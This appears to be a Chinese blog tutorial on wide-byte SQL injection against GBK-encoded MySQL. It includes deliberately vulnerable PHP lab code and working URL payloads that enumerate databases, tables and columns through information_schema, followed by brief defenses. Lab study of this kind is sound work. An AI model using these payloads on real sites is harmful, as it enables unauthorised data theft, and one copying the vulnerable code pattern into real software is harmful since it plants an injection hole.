宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码

不过既然是sql注入的一部分,也搭建环境  做做实验

实验环境:

wamp集成包

实验说明:

创建使用GBK编码的数据库

实验步骤:

使用phpmyadmin进行创建数据库的时候,如果不去选择编码格式,默认会使用latin1_swedish_ci 格式

查了一下 ,和GBK类似,那就这个吧。。。

使用默认编码,创建数据库后继续创建表格

latin1_swedish_ci

这里需要注意的是,使用latin1_swedish_ci 格式进行创建表,插入数据时

当插入汉字的时候,提示编码问题

难怪现在的大多网站都使用utf-8编码

格式问题

修改字段的编码格式   可插入汉字

继续编写php漏洞代码<?php

header("Content-type:text/html;charset=utf-8");

$id=@$_GET['id'];

if(isset($id)&&!empty($id)){

$id = addslashes($_GET['id']);//进行转义

$conn=mysql_connect('localhost','root','')  or  die  ("false");

mysql_select_db("tests",$conn);

mysql_query("set names 'gbk' ",$conn);//指明数据库gbk处理,不安全的编码格式

$sql = "select * from test where id='".$id."'";

$result = mysql_query($sql, $conn);

while ($row=@mysql_fetch_array($result)){

echo "用户名:".$row['name']."


";

//echo "密码:".$row['password']."";

}

mysql_close($conn);

print_r('执行SQL语句:'.$sql);

}else{

echo  "id  错误";

}

?>

进行访问   注入   测试

addslashes的转义

发现已经被转义了,使用%df  ' 进行注入

继续注入   %df%27 union select  1,2,3   #

注意URL编码问题

注入成功

以下为URL编码:

%27---------单引号

%20----------空格

%23-----------#号

%5c------------/反斜杠

为什么可以注入成功?

修改一下   header  改为gbkheader("Content-type:text/html;charset=gbk");

再次查看

反斜杠神奇消失

为什么反斜杠变成  運  这个玩意啦?

id=1'---------->id=1\'--------->id=1%5c%27

id=1%df'---------id=1%df%5c%27---------->id=1%DF5C%27-------->id=1運'

其实就是利用gbk是多字节的编码,两个字节代表一个汉字

%df    %5c   组合出了一个  運 字

因此  可以注入

success

扩展:

爆出所有的数据库名

payload:

id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23

数据库名

爆出数据库中的数据表

payload:

id=%df%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x64767761%20limit%200,61%20%23

dvwa的十六进制编码为0x64767761

所有数据表

爆出指定数据库的字段

payload:

id=%df%27%20union%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_schema=0x64767761%20and%20table_name=0x61646D696E%20limit%200,61%20%23

爆出字段

注意使用十六进制

table_schema=0x64767761(dvwa)  and  table_name=0x61646D696E(admin)

根据以上信息,可进行mysql的跨库查询,查询任意数据库的任意信息

可查询信息

防御:

1.使用mysql_set_charset(utf8)指定字符集

2. 使用mysql_real_escape_string进行转义

mysql sql宽字节注入_sql注入之宽字节注入相关推荐

  1. mysql sql in or 替换_sql IN 的用法一例--替换 mysql longtext字段中某些内容的用法

    之前给改版的一个学校里的站点突然提出要求,说需要将之前编辑的文章的字体大小全部改成默认值. 字体的控制无非有两种,一是font-size = 16 px:然后是.但是,之前发布的文章,文字的控制是由编 ...

  2. mysql sql查询json数据类型_SQL中的JSON数据类型

    SQL中的JSON数据类型 概述 MySQL支持原生JSON类型,使用JSON数据类型相较于将JSON格式的字符串存储在String型中的优势有: 存储时会自动验证JSON文本: 可以优化存储格式.存 ...

  3. mysql sql 列变成横向_SQL 统计 字段 竖向转横向 (行转列)显示

    在做一些SQL统计时,为了更直观看到结果,并进行比较,需要把竖向表的部分统计字段转成横向显示. 原数据格式: wbname        newstime ---------------------- ...

  4. mysql sql日期截取年月日_sql截取日期/时间的单独部分,比如年、月、日、小时、分钟等等...

    可以使用EXTRACT() 函数.(oracle和mysql都有该函数) 语法: EXTRACT(unit FROM date) date 参数是合法的日期表达式.unit 参数可以是下列的值: YE ...

  5. mysql sql decode函数用法_SQL查询中DECODE函数和CASE WHEN 比较

    一,DECODE函数 其基本语法为: Sql代码DECODE(value, if1, then1, if2, then2, if3, then3,...ifn, thenn, else) DECODE ...

  6. mysql sql decode函数用法_Sql decode sign when length concat 用法详述

    案例1:查询表A数据,如果某个列(PARAM_VALUE)值太长,前台不好显示,就只取前20个字符:鼠标悬浮时再用层显示全部值: sql写法: select m.PARAM_VALUE as PARA ...

  7. mysql+sql+子查询语句_SQL子查询

    子查询或内部查询或嵌套查询在另一个SQL查询的查询和嵌入式WHERE子句中. 子查询用于返回将被用于在主查询作为条件的数据,以进一步限制要检索的数据. 子查询可以在SELECT,INSERT,UPDA ...

  8. mysql sql 不能为空_SQL为空和=空

    在SQL中,对null值和任何其他值(包括其他值)null)使用比较运算符(例如=, !=, 理由是null意思是"未知",所以与null也是"未知".因此,您 ...

  9. mysql sql语句过长_sql语句过长怎么办?

    我用vb调用ACCESSmysql="SELECT[字段0]From[数据表1]WHERE[字段1]='"&DataGrid1.Columns(0).Text&&q ...

  10. mysql sql 去除重复行_SQL查询语句去除重复行

    1.存在两条完全相同的纪录 这是最简单的一种情况,用关键字distinct就可以去掉 select distinct * from table(表名) where (条件) 2.存在部分字段相同的纪录 ...

最新文章

  1. python编写爬虫的步骤-如何编写python脚本?教你做简单的爬虫,适合初学者
  2. 64位汇编之linux系统调用
  3. 栈,队列,单链表,双向链表
  4. 客户端怎么远程上服务器失败,远程客户端连接不上,与服务器那台,跨网络,怎么解决...
  5. Linux学习笔记24——进程管道
  6. 小熊派开发实践丨漫谈LiteOS之传感器移植
  7. centos下安装mysql5.5_CentOS下安装Mysql5.5
  8. getresourceasstream 路径_Java 获取资源文件路径
  9. Spring Boot 2.X默认连接池HikariCP详解
  10. 高红梅:第二章 海明威个人身份的探寻 第一节 性别身份意识与代际关系书写
  11. Oracle查看ogg延时,OGG复制进程延迟不断增长
  12. pythonmathcot函数_math库是python语言的数学模块吗_Python中的数学模块:Math和Cmath
  13. jenkins部署的时候WARNING: IPv4 forwarding is disabled. Networking will not work.
  14. Virtio 基本概念和设备操作
  15. 【高等数学】函数连续、可导、可微,洛必达法则使用条件、一阶可导、一阶连续可导、二阶可导、二阶连续可导
  16. php同时抢购 代码,PHP秒杀抢购问答题解决方案
  17. 期货开户公司交返怎么申请?
  18. Camera sensor 基本原理
  19. INFINEON(英飞凌)样片申请与经验
  20. 【附源码】计算机毕业设计SSM社区新冠疫苗接种管理系统

热门文章

  1. 揭秘微信「扫一扫」识物为什么这么快?
  2. 综述 | 生成对抗网络(GAN)在图网络中的应用
  3. 比nginx-rtmp高三倍性能的SRS的高性能是个什么球?
  4. Android Http POST文件上传之-----RFC1867协议
  5. 百度大数据可视化产品矩阵
  6. redis反杀面试官之10问
  7. 经典谷歌面试题-扔鸡蛋问题
  8. linux虚拟机克隆
  9. javaSE各阶段练习题--工具类-常用类-递归-包装类-内部类
  10. leetcode 400. Nth Digit | 400. 第 N 位数字(二分法找左侧不大于n的第一个数)